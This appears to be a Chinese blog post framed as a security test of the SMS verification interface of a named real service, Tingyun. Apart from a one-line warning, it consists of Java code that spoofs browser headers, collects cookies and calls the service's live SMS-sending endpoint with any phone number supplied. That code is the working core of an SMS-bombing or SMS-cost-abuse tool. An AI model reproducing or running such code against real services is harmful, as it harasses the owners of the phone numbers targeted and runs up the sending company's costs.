安全測試:聽云短信接口安全測試,你的短信接口到底有多危險(xiǎn),可能瞬間損失過萬,短信接口防盜刷測試
發(fā)布時(shí)間:2021-04-10 點(diǎn)擊數(shù):3102
安全問題不容忽視,不要亡羊補(bǔ)牢!
//配置請求頭
public Object setHeads(CloseableHttpClient httpclient, CookieStore cookieStore, Hashtable<String, String> inheads, LinkedHashMap<String, String> outheads, Hashtable<String, String> input) {
inheads.put("Accept", "application/json, text/plain, */*");
inheads.put("Cache-Control", "no-cache");
inheads.put("Connection", "keep-alive");
inheads.put("Host", "account.tingyun.com");
inheads.put("Pragma", "no-cache");
inheads.put("Referer", "https://account.tingyun.com/reg/register?userFrom=tingyun");
inheads.put("Sec-Fetch-Mode", "cors");
inheads.put("Sec-Fetch-Site", "same-origin");
inheads.put("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36");
inheads.put("X-Tingyun-Id", "V1uX-VqWBw4;r=624124609");
getCookie(cookieStore, httpclient, "https://account.tingyun.com/reg/register?userFrom=tingyun", inheads, outheads);
String cookieStr = GetCookieHead.CookieHashToString(outheads);
if (cookieStr != null) {
inheads.put("Cookie", cookieStr);
}
return inheads;
}
//配置請求參數(shù)
public Object setParams(CloseableHttpClient httpclient, CookieStore cookieStore, Hashtable<String, String> inheads, LinkedHashMap<String, String> outheads, Hashtable<String, String> input, String phone) {
List<BasicNameValuePair> paramList = new ArrayList<>();
paramList.add(new BasicNameValuePair("ctime", new SimpleDateFormat("'\"'yyyy-MM-dd'T'HH:mm:ss.SSS'Z\"'").format(System.currentTimeMillis())));
paramList.add(new BasicNameValuePair("mobile", phone));
paramList.add(new BasicNameValuePair("type", "registerNew"));
paramList.add(new BasicNameValuePair("webc", "regweb"));
return paramList;
}
//配置請求
public RetEntity reg(CloseableHttpClient httpclient, CookieStore cookieStore, Hashtable<String, String> input, String phone) {
Hashtable<String, String> inheads = new Hashtable<>();
LinkedHashMap<String, String> outheads = new LinkedHashMap<>();
httpclient = createSSLClientDefault();
RetEntity retEntity = this.userClick(httpclient, cookieStore, "get", "https://account.tingyun.com/reg/ldaf_send_mobile_new283455", inheads, outheads, input, phone);
closeHttpClient(httpclient);
return retEntity;
}